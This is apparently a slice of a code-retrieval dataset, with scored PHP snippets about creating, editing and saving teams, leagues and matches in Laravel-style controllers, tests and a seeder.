"766310417f1f0c24563150c4a846281f", "score": "0.59264636", "text": "public function storeDraft(League $league) {\n\t\t$league->load('movies', 'movies.movie', 'movies.teams', 'teams');\n\n\t\t$movies = $league->movies;\n\t\t$teams = $league->teams;\n\n\t\t$input = Input::get('movie');\n\t\tif(!is_array($input)) {\n\t\t\tApp::error(403);\n\t\t}\n\t\t$changes = 0;\n\n\t\tforeach ($input as $movie_id => $post_data) {\n\t\t\t/** @type LeagueMovie $movie */\n\t\t\t$movie = $movies->find($movie_id);\n\t\t\tif (! $movie) continue;\n\n\t\t\t// Price\n\t\t\t$movie->price = $post_data['price'];\n\t\t\tif ($movie->isDirty()) {\n\t\t\t\t$changes++;\n\t\t\t\t$movie->save();\n\t\t\t}\n\n\t\t\t// Team\n\t\t\t$current_team = (! $movie->teams->isEmpty()) ? $movie->teams->first()->id : 0;\n\n\t\t\t// If there's a change detected and the new team is valid\n\t\t\tif ($post_data['team_id'] != $current_team && (\n\t\t\t\t\t$post_data['team_id'] == 0 || ($new_team = $teams->find($post_data['team_id']))\n\t\t\t\t)\n\t\t\t) {\n\t\t\t\t/** @type LeagueTeam $new_team */\n\t\t\t\tDB::beginTransaction();\n\n\t\t\t\t// Remove old team\n\t\t\t\tif(! $movie->teams->isEmpty()) {\n\t\t\t\t\t$movie->teams()->detach($current_team);\n\t\t\t\t}\n\t\t\t\t// Add new team\n\t\t\t\tif(isset($new_team)) {\n\t\t\t\t\t$movie->teams()->attach($new_team);\n\t\t\t\t}\n\n\t\t\t\t$changes++;\n\t\t\t\tDB::commit();\n\t\t\t}\n\n\t\t}\n\n\t\tNotification::success(\"{$changes} changes have been saved!\");\n\n\t\t// Active league check\n\t\t$active_check = DB::table('league_team_movies')->whereIn('league_team_id', $teams->modelKeys())->count();\n\n\t\t$league->active = $active_check ? 1 : 0;\n\t\tif($league->isDirty('active')) {\n\t\t\t$league->save();\n\n\t\t\tif($league->active) {\n\t\t\t\tNotification::success('Your league is now considered active! Happy Drafting!');\n\t\t\t} else {\n\t\t\t\tNotification::warning('Your league is no longer considered active.');\n\t\t\t}\n\t\t}\n\n\t\treturn Redirect::back();\n\t}", "title": "" }, { "docid": "a29779615d8c0d75cba65bc2d1427ecd", "score": "0.59232754", "text": "public function savePdTeamManage_post()\n\t\t{\n\t\t\t$records = $this->post('records');\n\t\t\t// print_r($records);\n\t\t\t$result = array();\n\t\t\tif(!empty($records))\n\t\t\t{\n\t\t\t\tforeach($records['teamDetails'] as $users)\n\t\t\t\t{\n\t\t\t\t\t$record['fk_user_id'] = $users['userid'];\n\t\t\t\t\t$record['fk_team_id'] = $users['newTeamName'];\n\t\t\t\t\t$record['updatedon'] = $records['updatedon'];\n\t\t\t\t\t$record['fk_updatedby'] = $records['fk_updatedby'];\n\t\t\t\t\t$where_condition_array = array('fk_user_id' => $record['fk_user_id']);\t\n\t\t\t\t$result = $this->Common_Masters_Model->updateRecords($record,PDOFFICIERSDETAILS,$where_condition_array);\n\t\t\t\t//print_r($result);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif(count($result))\n\t\t\t{\n\t\t\t\t$data['dataStatus'] = true;\n\t\t\t\t$data['status'] = REST_Controller::HTTP_OK;\n\t\t\t\t$data['records'] = $result;\n\t\t\t\t$this->response($data,REST_Controller::HTTP_OK);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$data['dataStatus'] = false;\n\t\t\t\t$data['status'] = REST_Controller::HTTP_NO_CONTENT;\n\t\t\t\t$this->response($data,REST_Controller::HTTP_OK);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "f31978e4f813b7155f35a023cbddb8d8", "score": "0.5923002", "text": "public function store(StoreTeamRequest $request)\n {\n $team = $this->service->store($request)\n ->load(['game']);\n\n return $this\n ->data($team)\n ->message('Team Created Successfully')\n ->response();\n }", "title": "" }, { "docid": "c1262ab5312bc7679d3128924673ba78", "score": "0.59145737", "text": "public function testGetTeamsSimple()\n {\n }", "title": "" }, { "docid": "af240e212fed56635cc5ab032e578419", "score": "0.59097916", "text": "public function store(Request $request)\n {\n request()->validate([\n 'project_id' => 'required',\n 'user_id' => 'required',\n 'status' => 'required',\n ]);\n\n Team::create($request->all());\n\n return redirect()->route('teams.index')->with('success','Team saved successfully!');\n }", "title": "" }, { "docid": "be74e07dedeeb1db5045463b3e445b62", "score": "0.59064627", "text": "public function testAddRoleSaveInDB()\n {\n $this->setUp();\n\n $this->post('/admin/roles/add', ['name' => 'officer']);\n\n $savedRole = Role::where('name', 'officer')->get();\n\n $this->assertCount(1, $savedRole);\n }", "title": "" }, { "docid": "d91e8a0bd7418726a72bdfa6014132c2", "score": "0.5898469", "text": "public function save($teams,$commit = false,$op = 0)\n {\n $this->results = $results = new TeamsSaverZaysoResults();\n \n $results->commit = $commit;\n $results->total = count($teams);\n \n // Updated Team information\n foreach($teams as $item)\n {\n if ($op == 1) $this->saveTeam($item);\n if ($op == 2) $this->syncTeam($item);\n }\n if ($results->commit) $this->teamRepo->commit();\n \n return $results;\n }", "title": "" }, { "docid": "02f4487dcd04c35ec201bc87be2985b0", "score": "0.5887764", "text": "public function edit(Team $team)\n {\n //\n }", "title": "" }, { "docid": "fe31f1c13211e5382608cac0d4fbd46e", "score": "0.5885997", "text": "public function test_ensure_task_created_exists_on_project_team_user()\n {\n // GIVEN\n $user = User::factory()->create();\n $project = Project::factory()->create(['user_id' => $user->id]);\n $team = Team::factory()->create(['project_id' => $project->id]);\n $status = Status::factory()->waiting()->create();\n $task = Task::factory()->create(['status_id' => $status->id]);\n // WHEN\n $user->tasks()->save($task);\n $team->tasks()->save($task);\n $project->tasks()->save($task);\n //THEN\n $this->assertEquals($user->tasks[0]->name, $project->tasks[0]->name);\n $this->assertEquals($user->tasks[0]->name, $team->tasks[0]->name);\n $this->assertEquals($project->tasks[0]->name, $team->tasks[0]->name);\n }", "title": "" }, { "docid": "7cbea07a9b5287b8f228ecdde519930f", "score": "0.5866643", "text": "public function store(Request $request)\n {\n \n \n $validatedData = $request->validate([ \n 'name'=>'required ',\n 'country'=>'required',\n \n \n ]); \n\n \n $team= Team::create([ \n 'name'=>$request->name,\n 'country'=>$request->country\n ]); \n\n return redirect()->route('teams.add');\n\n }", "title": "" }, { "docid": "eb39b9db0713391df463101d11384aeb", "score": "0.5864884", "text": "public function Edit() {\n\n\t\t/* PARAMETER CHECK */\n\t\tif (!$this->parameter_check) { $this->Errors(\"Parameter check failed.\"); return False; }\n\t\t/* ENSURE THE TEAM NAME IS NOT EMPTY */\n\t\tif (EMPTY($this->team_name)) { $this->Errors(\"Team name can't be empty.\"); return False; }\n\t\t/* TEAM NAMES MUST BE CHARACTERS OR LETTERS */\n\t\tif (!IsAlphaNumeric($this->team_name)) { $this->Errors(\"Invalid team name. Use only alpha-numeric characters!\"); return False; }\n\t\t/* TEAM NAMES CAN'T BE DUPLICATED */\n\t\tif (RowExists(\"team_master\",\"team_name\",$this->team_name,\"\")) { $this->Errors(\"Team exists!\"); return False; }\n\n\t\t/* ADD */\n\t\t$db=$GLOBALS['db'];\n\t\t$sql=\"UPDATE \".$GLOBALS['database_ref'].\"team_master\n\t\t\t\t\tSET team_name = '\".$this->team_name.\"'\n\t\t\t\t\tWHERE team_id = \".$this->team_id.\"\n\t\t\t\t\t\";\n\t\t//echo $sql;\n\t\t$result=$db->Query($sql);\n\t\tif ($db->AffectedRows($result) > 0) {\n\t\t\tLogHistory($this->team_name.\" edited\");\n\t\t\treturn True;\n\t\t}\n\t\telse {\n\t\t\treturn False;\n\t\t}\n\t}", "title": "" }, { "docid": "c09adf9719fd0853ad7a73a18a31db45", "score": "0.5848351", "text": "public function store(Request $request)\n {\n $validatedData = $request->validate([\n 'name' => 'required|unique:teams,name,',\n 'leader_id' => 'required|exists:people,id',\n ]);\n\n Team::create($validatedData);\n\n return redirect('/team')\n ->with(['msg' => 'success','txt' => 'Se guardo el Equipo!']);\n }", "title": "" }, { "docid": "cfe54d970e91110e2a9dbe0d85be7c72", "score": "0.5838595", "text": "public function changeTeam($id)\n {\n $event = Testevent::with([\n 'skills',\n 'facility',\n 'exams',\n 'discipline',\n 'knowledgeStudents',\n 'skillStudents'\n ])->findOrFail($id);\n\n if (Request::isMethod('post')) {\n $oldObs = $event->observer_id;\n\n // must have an observer\n $observer = Input::get('observer_id');\n if (! $observer) {\n return Redirect::back()->withDanger('Event must have an '.Lang::choice('core::terms.observer', 1).'.');\n }\n if (count($observer) > 1) {\n return Redirect::back()->withDanger('Event must have only 1 '.Lang::choice('core::terms.observer', 1).'.');\n }\n\n // will come in as array, should only have 1 entry\n $observerId = current(Input::get('observer_id'));\n\n // update observer\n $event->observer_id = $observerId;\n $event->is_mentor = Input::get('is_mentor') ? true : false;\n\n // update proctor\n if (Input::get('proctor_id')) {\n $proctorId = current(Input::get('proctor_id'));\n $proctorType = Input::get('proctor_type.'.$proctorId);\n\n $event->proctor_id = User::find($proctorId)->userable_id;\n $event->proctor_type = $proctorType;\n }\n \n // update actor\n if (Input::get('actor_id')) {\n $actorId = current(Input::get('actor_id'));\n $actorType = Input::get('actor_type.'.$actorId);\n\n if (! empty($actorType)) {\n $event->actor_id = User::find($actorId)->userable_id;\n $event->actor_type = $actorType;\n }\n }\n\n // update event\n $event->save();\n\n return Redirect::route('events.edit', $event->id)->with('success', 'Event Testing Team updated.');\n }\n\n // filter test team options\n // FOR PROCTOR AND ACTOR\n // * PROCTOR_ID MIGHT BE OBSERVER TYPE!!!!!!\n // * ACTOR_ID MIGHT BE OBSERVER TYPE!!!!!!\n $proctors = $this->proctor->availableOnDates($event->discipline_id, $event->test_date, $event->facility_id, $event->proctor_id);\n $actors = $this->actor->availableOnDates($event->discipline_id, $event->test_date, $event->facility_id, $event->actor_id);\n $observers = $this->observer->availableOnDates($event->discipline_id, $event->test_date, $event->facility_id, $event->observer_id)->keyBy('user_id');\n\n // Check if there are any conflicts of interest with the observers who may have also been \n // an instructor of one of the students scheduled to take the test.\n // Bulid array of student id's for both knowledge and skills\n $studentIdArr = array_merge($event->knowledgeStudents->lists('id')->all(), $event->skillStudents->lists('id')->all());\n $studentIdArr = array_unique($studentIdArr);\n\n // Get all students and active trainings to check see if there is an observer who is also \n // an instructor creating a conflict of interest\n $students = Student::with('trainings')->whereIn('id', $studentIdArr)->get();\n\n $allinstructors = \\Instructor::all()->lists('user_id', 'id')->all();\n $observerList = $observers->lists('user_id', 'id')->all();\n\n // Loop through to remove observers with conflict of interest prior to returning a list \n // of observers who are able to sit in this exam.\n foreach ($students as $student) {\n foreach ($student->trainings as $training) {\n if (in_array($allinstructors[$training->pivot->instructor_id], $observerList)) {\n $observers->forget($allinstructors[$training->pivot->instructor_id]);\n continue 2;\n }\n }\n }\n\n // PAGINATION \n // (for the array, since it's not an eloquent model / collection)\n // \n // $perPage = Config::get('core.pagination.default');\n // $currentPage = Input::get('page') - 1;\n // $pagedData = array_slice($proctors, $currentPage * $perPage, $perPage);\n // $proctors = Paginator::make($pagedData, count($proctors), $perPage);\n\n return View::make('core::events.change_team')->with([\n 'event' => $event,\n 'proctors' => $proctors,\n 'actors' => $actors,\n 'observers' => $observers\n ]);\n }", "title": "" }, { "docid": "6ffbbc68585ea200a7c9ad0913cf6415", "score": "0.58226436", "text": "public function testSaveService()\n {\n $this->withoutExceptionHandling();\n\n // $response = $this->post('/solicitud-servicio', [\n\n // 'created_date' => '2021-06-05',\n // 'approved_date' => '2021-06-05',\n // 'conductor_id' => '5',\n // 'vehiculo_id' => '5',\n // 'empresa_id' => '5',\n // 'punto_inicio' => 'Torcoroma',\n // 'punto_fin' => 'Perta del 20 ',\n // 'estado' => 'Solicitado',\n // 'observaciones' => 'observacion',\n // 'date' => '2021-06-05',\n // 'hour' => '8:45',\n\n // ]);\n\n // $response->assertOk();\n\n $this->assertCount(1, Servicio::all());\n\n $servicio = Servicio::first();\n\n // Verificamos si los datos de mi servicio creado son iguales a los que mande\n $this->assertEquals('Solicitado', $servicio->estado);\n }", "title": "" }, { "docid": "576b731cfab325fe64b3dc143feafea2", "score": "0.5821557", "text": "public function store(Request $request)\n {\n $validData = $request->validate([\n 'name' => 'required|unique:teams',\n 'team_no' => 'required|numeric|unique:teams'\n ]);\n\n Team::create($request->all());\n $request->session()->flash('success', 'Team Added');\n return redirect(route('admin'));\n }", "title": "" }, { "docid": "41590c5e53c042a5cc50ba668696c239", "score": "0.5795906", "text": "public function store(Request $request)\n {\n $this->validate($request,[\n 'title' => 'required',\n 'description' => 'required',\n 'status' => 'required|in:0,1',\n \n ]); \n\n $teams = new Team;\n $teams->title = $request->title;\n $teams->description = $request->description;\n $teams->status = $request->status;\n\n $teams->save();\n Alert::toast('Information inserted successfully', 'success');\n\n return redirect()->back();\n }", "title": "" }, { "docid": "aa4f31a89ae57e41d1a126669f3ed010", "score": "0.5790489", "text": "public function process_contacts_form_data_is_saved_to_database()\n {\n //disable laravel error handeling to see raw phpunit error results\n $this->withoutExceptionHandling();\n $payload = [\n \"columns\" => [\n \"team_id\",\n \"name\",\n \"phone\",\n \"email\",\n \"favorite_color\",\n \"country\",\n \"gender\",\n ],\n \"contacts_team_id\" => [\n \"1\",\n \"1\",\n \"2\",\n \"3\",\n \"3\",\n ],\n \"contacts_name\" => [\n \"Mike Soto\",\n \"Joana Bisset\",\n \"George Smith\",\n \"Jessica Simpson\",\n \"Brad Pitt\",\n ],\n \"contacts_phone\" => [\n \"5524435444\",\n \"4425545656\",\n \"9948837777\",\n \"1234567898\",\n \"92899284444\",\n ],\n \"contacts_email\" => [\n \"desarrollowebuno@gmail.com\",\n \"jomars1048@gmail.com\",\n \"teachgsmith@hotmail.com\",\n \"jessica@yahoo.com\",\n \"bradthepitt@outlook.com\",\n ],\n \"contacts_favorite_color\" => [\n \"blue\",\n \"red\",\n null,\n \"pink\",\n \"yellow\",\n ],\n \"contacts_country\" => [\n \"Mexico\",\n \"France\",\n \"USA\",\n \"USA\",\n \"USA\",\n ],\n \"contacts_gender\" => [\n \"Male\",\n \"Female\",\n \"Male\",\n \"Female\",\n null,\n ]\n ];\n $response = $this->call('POST', '/save-contacts', $payload);\n //should redirect to home\n $response->assertRedirect('/');\n //check database for inserted record\n $this->assertDatabaseHas('contacts', [\n 'email' => 'desarrollowebuno@gmail.com'\n ]);\n }", "title": "" }, { "docid": "c8456e50a1bab50f998559b7695c6144", "score": "0.5784394", "text": "public function store(Request $request)\n {\n $this->validate($request,[\n 'name'=>'required'\n ]);\n\n $team_name = $request->input('name');\n $leader_id = Auth::id();\n $newTeam = Team::createTeam($team_name, $leader_id);\n Auth::user()->setCurrentTeamId($newTeam->id);\n\n return redirect('/home');\n }", "title": "" }, { "docid": "6eba85baa49a281584eb7dc2a5505b5d", "score": "0.577785", "text": "public function createAction(Team $team)\n {\n try {\n $this->teamRepository->add($team);\n $this->persistenceManager->persistAll();\n $this->addOkMessage('team createt');\n } catch (\\Exception $e) {\n $this->addErrorMessage('cannot create team');\n $this->handleException($e);\n }\n $this->redirect('index', 'Team', null, array('team' => $team));\n }", "title": "" }, { "docid": "524f142a5a869a71ab3b3f1f3d780c62", "score": "0.57652944", "text": "public function store(Request $request)\n {\n $user = Auth::user();\n $currentTeamId = $request->input('currentTeamId');\n \t$team = new Team;\n \t$team->name = $request->input('name');\n \t$team->id_parent = $currentTeamId;\n $team->id_owner = $user->id;\n\t\t$team->save();\n return back();\n }", "title": "" }, { "docid": "f46d869e6b3351b7ee8b836b9ad0dfc0", "score": "0.57517964", "text": "public function saveTeamPageAction(Request $request)\n {\n // saves the description and motivation of the team (perhaps more in the future)\n $team_id = $request->input(\"team_id\");\n\n $introduction = $request->input(\"introduction_team\");\n $motivation = $request->input(\"motivation_team\");\n\n $team = Team::select(\"*\")->where(\"id\", $team_id)->first();\n $team->team_introduction = $introduction;\n $team->team_motivation = $motivation;\n $team->updated_at = date(\"Y-m-d H:i:s\");\n $team->save();\n return redirect($_SERVER[\"HTTP_REFERER\"]);\n\n }", "title": "" }, { "docid": "20c20527e917b0566688a0174fd23bee", "score": "0.5748016", "text": "public function testSave() {\n try\n {\n $this->assertEquals(1, $this->object->save());\n $this->assertNull($this->object->delete());\n\n }catch (Exception $e)\n {\n throw $e;\n }\n\n }", "title": "" }, { "docid": "775d3432d778f7a60d2b314223c59292", "score": "0.5744895", "text": "public function store(Request $request)\n {\n $validator = Validator::make($request->all(), [\n 'name' => 'required',\n 'user_id' => 'required',\n ]);\n if($validator->fails())\n {\n if ($request->is('api/*'))\n {\n return response()->json(['message' => $validator->messages()->all()],422); \n } \n else \n {\n Former::withErrors($validator);\n return redirect()->back()->withErrors($validator)->withInput();\n }\n }\n\n $team = Team::create($request->all());\n $team->users()->sync($request->get('users'));\n\n if ($request->is('api/*')) {\n return response()->json(['message' => \"Team created successfully\"], 200);\n } else {\n return redirect()->route('teams.index')\n ->with('success','Team created successfully.');\n }\n \n }", "title": "" }, { "docid": "79a4ba5bfea93333b7522fe98b21d3a4", "score": "0.5743609", "text": "public function store(Request $request)\n {\n //\n $this->validate($request, [\n 'match_one' => 'required',\n 'match_two' => 'required',\n 'match_three' => 'required',\n 'match_four' => 'required',\n 'match_five' => 'required'\n ]);\n\n //Create Team\n $fixture = new Fixture;\n $fixture->match_one = $request->input('match_one');\n $fixture->match_two = $request->input('match_two');\n $fixture->match_three = $request->input('match_three');\n $fixture->match_four = $request->input('match_four');\n $fixture->match_five = $request->input('match_five');\n $fixture->save();\n\n return redirect('/home')->with('success', 'Match Fixtures Set Successfully!');\n }", "title": "" }, { "docid": "8e32c6c95bd2a6d2b5ed8af39774f7ed", "score": "0.57397896", "text": "public function tryToCheckIfAfterCreatingATeamIfICanAssignAnotherTeamTheSameNameButHavingADifferentTournament(AcceptanceTester $I)\n {\n $I->am(\"admin\");\n $I->wantTo(\"create a team\");\n $I->fillField(\"#name\", $this::TEAM_A_NAME);\n $I->selectOption(\"#tournament_id\", array('text' => str_replace(' ', '_', $this::TOURNAMENT_B_NAME))); //gz2016\n $I->click(['id'=>\"submit\"]);\n $I->waitForText(\"The team \".$this::TEAM_A_NAME.\" was added\", $this::DEFAULT_WAIT);\n }", "title": "" }, { "docid": "a2cc0bc79ed0bd9fdfe7e86fae180ebd", "score": "0.5738886", "text": "public function store(Request $request)\n {\n try{\n $dataToSave = Material::TeamStore($request);\n $newTeam = $this->team->create($dataToSave);\n if(!empty($newTeam)){\n $this->attachDevelopersAndManagers($newTeam,$request);\n }\n return ResponseJson::success('Team Created Successfully!','team',$newTeam);\n } catch(Excention $e){\n return ResponseJson::error();\n }\n }", "title": "" }, { "docid": "241ff4aa8262ff4a93eb0cff1efb1511", "score": "0.5737446", "text": "public function run()\n {\n \n\n \\DB::table('teams')->delete();\n \n \\DB::table('teams')->insert(array (\n 0 => \n array (\n 'id' => 1,\n 'user_id' => 1,\n 'name' => 'Team509',\n 'personal_team' => 1,\n 'created_at' => '2020-10-12 23:56:45',\n 'updated_at' => '2020-11-22 21:14:12',\n 'stripe_id' => 'cus_ICBqY12GBbaoo7',\n 'card_brand' => 'mastercard',\n 'card_last_four' => '4444',\n 'trial_ends_at' => '2020-10-22 23:56:45',\n 'trial_expiring_mail_sent_at' => NULL,\n ),\n 1 => \n array (\n 'id' => 2,\n 'user_id' => 1,\n 'name' => 'Other team',\n 'personal_team' => 0,\n 'created_at' => '2020-10-14 19:13:35',\n 'updated_at' => '2020-11-22 14:11:05',\n 'stripe_id' => 'cus_IRBeXBAHjqVIQ4',\n 'card_brand' => 'mastercard',\n 'card_last_four' => '5454',\n 'trial_ends_at' => '2020-10-22 23:56:45',\n 'trial_expiring_mail_sent_at' => NULL,\n ),\n 2 => \n array (\n 'id' => 4,\n 'user_id' => 4,\n 'name' => 'Nouela\\'s Team',\n 'personal_team' => 1,\n 'created_at' => '2020-11-14 17:03:35',\n 'updated_at' => '2020-11-14 17:03:35',\n 'stripe_id' => NULL,\n 'card_brand' => NULL,\n 'card_last_four' => NULL,\n 'trial_ends_at' => '2020-11-24 17:03:35',\n 'trial_expiring_mail_sent_at' => NULL,\n ),\n 3 => \n array (\n 'id' => 5,\n 'user_id' => 1,\n 'name' => 'Test team',\n 'personal_team' => 0,\n 'created_at' => '2020-11-22 13:48:11',\n 'updated_at' => '2020-11-22 16:37:10',\n 'stripe_id' => 'cus_IRBJpfMJMNDFdC',\n 'card_brand' => 'mastercard',\n 'card_last_four' => '5454',\n 'trial_ends_at' => NULL,\n 'trial_expiring_mail_sent_at' => NULL,\n ),\n ));\n \n \n }", "title": "" }, { "docid": "a83a3819fe2d38bb27f00c978fae606b", "score": "0.57365745", "text": "public function post_create()\n {\n\t\t// Validate the form data against the rules in the model\t\n\t\t$validation = Team::validate(Input::all());\t\n\t\t\t\n\t\tif ($validation->fails())\n\t\t{\n\t\t\treturn Redirect::to_route('new_team')->with_errors($validation)->with_input();\n\t\t} \n\t\telse\n\t\t{ \n\t\t\t// Process the form\n\t\t\tTeam::create(array(\n\t\t\t\t'name' => Input::get('name'),\n\t\t\t\t'venue' => Input::get('venue'),\n\t\t\t\t'website' => Input::get('website'),\n\t\t\t\t'latitude' => Input::get('latitude'),\n\t\t\t\t'longitude' => Input::get('longitude'),\n\t\t\t\t'crest' => Input::get('crest')\n\t\t\t));\n\t\t\t\n\t\t\treturn Redirect::to_route('teams')\n\t\t\t\t->with('flash', 'New team created successfully.');\n\t\t}\n\t}", "title": "" }, { "docid": "31d127420d8aac7c2b7066a44e8e1f8d", "score": "0.57126796", "text": "public function tryToCheckIfAfterCreatingATeamIfICanAssignAnotherTeamTheSameNameInTheSameTournament(AcceptanceTester $I)\n {\n $I->am(\"admin\");\n $I->wantTo(\"create a team\");\n $I->fillField(\"#name\", $this::TEAM_A_NAME);\n $I->selectOption(\"#tournament_id\", array('text' => str_replace(' ', '_', $this::TOURNAMENT_A_NAME))); //gz2016\n $I->click(['id'=>\"submit\"]);\n $I->waitForText(\"A team with the exact same name already exists for this tournament, please select a different name.\", $this::DEFAULT_WAIT);\n }", "title": "" }, { "docid": "df9ff7b65d1fcf3a4884928ea03f11c4", "score": "0.5709737", "text": "public function store(Request $request) : JsonResponse\n {\n $validator = Validator::make($request->all(), [\n 'name' => 'required|max:255',\n ]);\n if ($validator->fails()) {\n return response()\n ->json($validator->errors(), 400);\n }\n $team = Team::create($request->all());\n return response()->json($team, 201);\n }", "title": "" }, { "docid": "3087561e5c29131cca8b4bbc761b9f21", "score": "0.5709095", "text": "public function testSaveRecord()\n\t{\n\t\t\n\t\t\n\t\t$this->object->setUserId(1);\n\t\t$this->object->setMaintenanceRequestId(1);\n\t\t$this->object->setMaintenanceStatusId(3);\n\t\t$this->object->setAssignedTo(2);\n\t\t$id = $this->object->saveRecord();\n\t\t$this->assertGreaterThan(0,$id); // tests save\n\n\t\t$this->object->setMaintenanceStatusId(1);\n\t\t$this->object->setAssignedTo(1);\n\t\t$id2= $this->object->saveRecord();\n\t\t$this->assertGreaterThan(0,$id); // tests save \n\n\t\t$results = $this->object->getCurrentRow();\n\t\t$this->assertEquals($id2,$results['id']); // tests that second is set to currentStatus\n\t\t$this->assertEquals(1,$results['currentStatus']); // tests that second is set to currentStatus\n\t}", "title": "" }, { "docid": "cf36d555d439ee08fa030c1d8faac2e6", "score": "0.57026166", "text": "public function test_set_race_id() {\n $this->assertNull($this->object->race);\n $this->assertNull($this->object->race_id);\n\n //HotS race: 1-Zerg 2-Terran 7-Random 3-Protoss\n $this->object->race = 7;\n $this->assertSave($this->object->save());\n\n $this->assertEquals('Random', $this->object->race);\n $this->assertEquals(7, $this->object->race_id);\n }", "title": "" }, { "docid": "0f63678c36351b411b5cac271b4bacd5", "score": "0.57002693", "text": "public function store(Request $request)\n {\n $this->validate($request, [\n 'name' => 'required|min:3',\n 'email' => 'required|email',\n ]);\n\n try {\n $team = new Team;\n $org = $team->name = $request->input('name');\n $team->email = $request->input('email');\n $team->plan = $request->input('options');\n $team->user_id = Auth::user()->id;\n\n $team->save();\n $team->members()->save(Auth::user());\n\n return redirect()->to('/teams/'.$org.'/invite');\n } catch (QueryException $e) {\n return redirect()->back()->withInput(['name' => $e->getMessage()]);\n }\n }", "title": "" }, { "docid": "7f4b7de72225767f6a21d8434044cc54", "score": "0.56950456", "text": "public function setTeam($team)\n {\n $this->team = $team;\n }", "title": "" }, { "docid": "594f60a7c5742b3456ae9d33b74287da", "score": "0.5694565", "text": "public function saveMatch($match)\n {\n if (! Match::where('game_id', $match['details']['gameId'])->first()) {\n // Create the base match\n Match::create([\n 'game_id' => $match['details']['gameId'],\n 'platform_id' => $match['details']['platformId'],\n 'game_creation' => $match['details']['gameCreation'],\n 'game_duration' => $match['details']['gameDuration'],\n 'queue_id' => $match['details']['queueId'],\n 'map_id' => $match['details']['mapId'],\n 'season_id' => $match['details']['seasonId'],\n 'game_version' => $match['details']['gameVersion'],\n 'game_mode' => $match['details']['gameMode'],\n 'game_type' => $match['details']['gameType'],\n 'timeline' => $match['timeline']\n ]);\n\n foreach ($match['details']['participantIdentities'] as $summoner) {\n Summoner::firstOrCreate(\n [\n 'summoner_id' => $summoner['player']['summonerId'],\n 'server' => $match['details']['platformId']\n ],\n [\n 'server' => $match['details']['platformId'],\n 'summoner_id' => $summoner['player']['summonerId'],\n 'account_id' => $summoner['player']['accountId'],\n 'name' => $summoner['player']['summonerName'],\n 'profile_icon_id' => $summoner['player']['profileIcon']\n ]\n );\n }\n\n foreach ($match['details']['teams'] as $team) {\n Team::create([\n 'match_id' => $match['details']['gameId'],\n 'win' => $team['win'] == \"Win\",\n 'team_id' => $team['teamId'],\n 'first_blood' => $team['firstBlood'],\n 'first_tower' => $team['firstTower'],\n 'first_inhibitor' => $team['firstInhibitor'],\n 'first_dragon' => $team['firstDragon'],\n 'first_baron' => $team['firstBaron'],\n 'first_rift_herald' => $team['firstRiftHerald'],\n 'tower_kills' => $team['towerKills'],\n 'inhibitor_kills' => $team['inhibitorKills'],\n 'baron_kills' => $team['baronKills'],\n 'dragon_kills' => $team['dragonKills'],\n 'vilemaw_kills' => $team['vilemawKills'],\n 'rift_herald_kills' => $team['riftHeraldKills'],\n 'bans' => $team['bans']\n ]);\n }\n\n $participants = collect($match['details']['participants'])->transform(function ($participant) use ($match) {\n return [\n 'summoner_id' => $match['details']['participantIdentities'][$participant['participantId'] - 1]['player']['summonerId'],\n 'match_id' => $match['details']['gameId'],\n 'team_id' => $participant['teamId'],\n 'champion_id' => $participant['championId'],\n 'summoner_spell_1' => $participant['spell1Id'],\n 'summoner_spell_2' => $participant['spell2Id'],\n 'highest_achieved_season_tier' => $participant['highestAchievedSeasonTier'] ?? null,\n 'stats' => json_encode($participant['stats']) // because we use insert it does not touch Eloquent so we need to use json_encode\n ];\n });\n\n Participant::insert($participants->toArray());\n }\n\n }", "title": "" }, { "docid": "28644f88dcfe738ab74b4ef10b384f42", "score": "0.5692922", "text": "public function testSaveNewObject()\n {\n $this->assertEquals(0, $this->manager->count(Demo\\Artist::class, 'slug=\"insert-test\"'));\n \n $artist = new Demo\\Artist();\n $artist->artistTypeId = 1;\n $artist->name = 'Insert Test';\n $artist->slug = 'insert-test';\n $this->manager->save($artist);\n \n $this->assertGreaterThan(0, $artist->artistId);\n \n $this->assertEquals(1, $this->manager->count(Demo\\Artist::class, 'slug=\"insert-test\"'));\n }", "title": "" }, { "docid": "d9ddf42671ea5ae04a74d2b850d8205e", "score": "0.5685056", "text": "public function createTeam(Request $request){\n $categories = ['rescue_basic', 'rescue', 'soccer', 'dancing', 'groeneveld'];\n $validator = Validator::make($request->all(), [\n 'name' => ['required', 'string', 'max:255'],\n 'category' => ['required', Rule::in($categories)],\n 'members_amount' => ['required', 'integer', 'max:4', 'min:1'],\n 'age_oldest_member' => ['required', 'integer', 'min:0'],\n ]);\n\n if ($validator->fails()) {\n return redirect(route('addTeam'))->withErrors($validator)->withInput();\n }\n\n $team = new Team();\n $team->user_id = Auth::user()->id;\n $team->name = $request->name;\n $team->category = $request->category;\n $team->members_amount = $request->members_amount;\n $team->age_oldest_member = $request->age_oldest_member;\n \n $team->save();\n\n Log::channel('admin')->info('A new team has been created by a user', [\n 'username' => Auth::user()->name, \n 'email' => Auth::user()->email, \n 'team name' => $team->name, \n ]);\n\n // get all admins and send them an email\n $admins = User::where('type', User::ADMIN_TYPE)->get();\n foreach($admins as $admin){\n Notification::route('mail', $admin->email)->notify(new newTeamAdmin($team));\n }\n\n // also send a confirmation email to the user\n $user = User::find($team->user_id);\n Notification::route('mail', $user->email)->notify(new newTeamUser($team));\n \n return redirect(route('teams'));\n\n }", "title": "" }, { "docid": "ee007139564c410433873bd180c86936", "score": "0.56843054", "text": "public function run()\n {\n Team::create([\n 'name' => 'Louvor'\n ]);\n }", "title": "" }, { "docid": "a6e674b02a730e20f3c45cc734e5e5ac", "score": "0.56785727", "text": "function test_an_administrator_create_a_franja()\n {\n $user = User::find(5);\n $response = $this->actingAs($user);\n\n Session::put('facultad_id',1);\n Session::put('sede_id',1);\n Session::put('wsede','Lima');\n Session::put('type_id',5);\n Session::put('ctype','Administrador');\n\n $data = [\n 'dia' => 1, \n 'turno' => 1, \n 'hora' => 4, \n 'wfranja' => '13:30-15:00',\n ];\n\n $response = $this->post(\"administrador/franjas/store\", $data);\n $response->assertRedirect('administrador/franjas/index');\n //$response->assertSee('Se ha registrado la franja');\n //Then \n $this->assertDatabaseHas('franjas',[\n 'facultad_id' => 1,\n 'sede_id' => 1,\n 'dia' => 1, \n 'turno' => 1, \n 'hora' => 4, \n 'wfranja' => '13:30-15:00',\n ]);\n\t}", "title": "" }, { "docid": "a18af608ed90f5e03ebf155ffd60f009", "score": "0.56780165", "text": "public function saveTeam($teamName, $teamGames) 